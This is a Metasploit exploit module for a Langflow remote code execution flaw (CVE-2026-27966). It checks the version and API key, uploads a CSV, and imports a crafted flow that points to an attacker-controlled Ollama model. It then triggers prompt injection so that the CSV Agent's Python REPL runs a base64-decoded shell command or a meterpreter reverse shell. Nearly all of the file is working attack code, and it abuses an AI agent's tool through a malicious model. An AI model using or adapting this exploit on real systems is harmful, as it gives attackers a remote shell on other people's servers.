## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File def initialize(info = {}) super( update_info( info, 'Name' => 'Langflow RCE', 'Description' => %q{ The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast). As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE). }, 'Author' => [ 'weblover12', # Vulnerability discovery and PoC 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-27966'], ['GHSA', '3645-fxcv-hqr4'], ], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], [ 'Python payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 300, 'FETCH_DELETE' => true }, 'Payload' => { 'BadChars' => '"' }, 'DisclosureDate' => '2026-02-25', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(7860), OptString.new('APIKEY', [ true, 'Langflow API key to interact with Langflow.', '' ]), OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker.', '' ]), OptString.new('MODEL', [ true, 'Valid ollama model name.', '' ]), ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/version') }) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 json_version = res&.get_json_document&.fetch('version', nil) return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version version = Rex::Version.new(json_version) return Exploit::CheckCode::Unknown('Failed to get version.') unless version return Exploit::CheckCode.Safe("Version #{version} detected. Which is not vulnerable.") if version >= Rex::Version.new('1.8.0') # check if API key is valid res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/users/whoami'), 'headers' => { 'x-api-key' => datastore['APIKEY'] } }) return Exploit::CheckCode::Appears("Version #{version} detected and API key is valid. Which is vulnerable.") if res&.code == 200 Exploit::CheckCode.Safe("Version #{version} detected and API key is invalid. Which is not vulnerable.") end def exploit res = send_request_cgi({ 'uri' => normalize_uri(target_uri, 'api/v1/projects/'), 'method' => 'POST', 'ctype' => 'application/json', 'headers' => { 'x-api-key' => datastore['APIKEY'] }, 'data' => { 'name' => rand_text_alphanumeric(8), 'description' => 'string', 'components_list' => [], 'flows_list' => [] }.to_json }) @folder_id = res&.get_json_document&.fetch('id', nil) fail_with(Failure::Unknown, 'Failed to create a new project.') unless @folder_id print_status("Project: #{@folder_id}") # construct POST data fname = "#{rand_text_alphanumeric(8)}.csv" data = Rex::MIME::Message.new data.add_part("#{rand_text_alphanumeric(2)},#{rand_text_alphanumeric(2)}", 'application/csv', nil, "form-data; name=\"file\"; filename=\"#{fname}\"") res = send_request_cgi({ 'uri' => normalize_uri(target_uri, 'api/v2/files'), 'method' => 'POST', 'headers' => { 'x-api-key' => datastore['APIKEY'] }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) path = res&.get_json_document&.fetch('path') fail_with(Failure::Unknown, 'Failed to upload a csv file.') unless path @fid = res&.get_json_document&.fetch('id') exploit_data = exploit_data('CVE-2026-27966', 'cve_2026_27966.json') exploit_data = exploit_data.gsub('__FOLDERID__', @folder_id) exploit_data = exploit_data.gsub('__MODELNAME__', datastore['MODEL']) exploit_data = exploit_data.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI']) exploit_data = exploit_data.gsub('__FILEPATH__', path) case target['Arch'] when ARCH_PYTHON payload_data = payload.encode else payload_data = "__import__('os').system('echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|/bin/sh')" end exploit_data = exploit_data.gsub('__PAYLOAD__', payload_data) exploit_data = exploit_data.gsub('__NAME__', rand_text_alphanumeric(8)) # construct POST data data = Rex::MIME::Message.new data.add_part(exploit_data, 'application/json', nil, "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"") # Import a flow res = send_request_cgi({ 'uri' => normalize_uri(target_uri, 'api/v1/flows/upload/'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'vars_get' => { 'folder_id' => @folder_id }, 'headers' => { 'x-api-key' => datastore['APIKEY'] } }) fail_with(Failure::Unknown, 'Temporary failed to import a flow.') unless res&.get_json_document.is_a?(Array) flow_id = res&.get_json_document&.first&.fetch('id', nil) fail_with(Failure::Unknown, 'Failed to import a flow.') unless flow_id print_status("Flow: #{flow_id}") # Execute res = send_request_cgi({ 'uri' => normalize_uri(target_uri, "api/v1/build/#{flow_id}/flow"), 'method' => 'POST', 'ctype' => 'application/json', 'headers' => { 'x-api-key' => datastore['APIKEY'] } }) job = res&.get_json_document&.fetch('job_id') fail_with(Failure::Unknown, 'Unexpected server reply.') unless job print_status("Job: #{job}") print_status('Waiting...') end def cleanup super if @fid send_request_cgi({ 'uri' => normalize_uri(target_uri, "api/v2/files/#{@fid}"), 'method' => 'DELETE', 'headers' => { 'x-api-key' => datastore['APIKEY'] } }) end if @folder_id send_request_cgi({ 'uri' => normalize_uri(target_uri, "api/v1/projects/#{@folder_id}"), 'method' => 'DELETE', 'headers' => { 'x-api-key' => datastore['APIKEY'] } }) end end end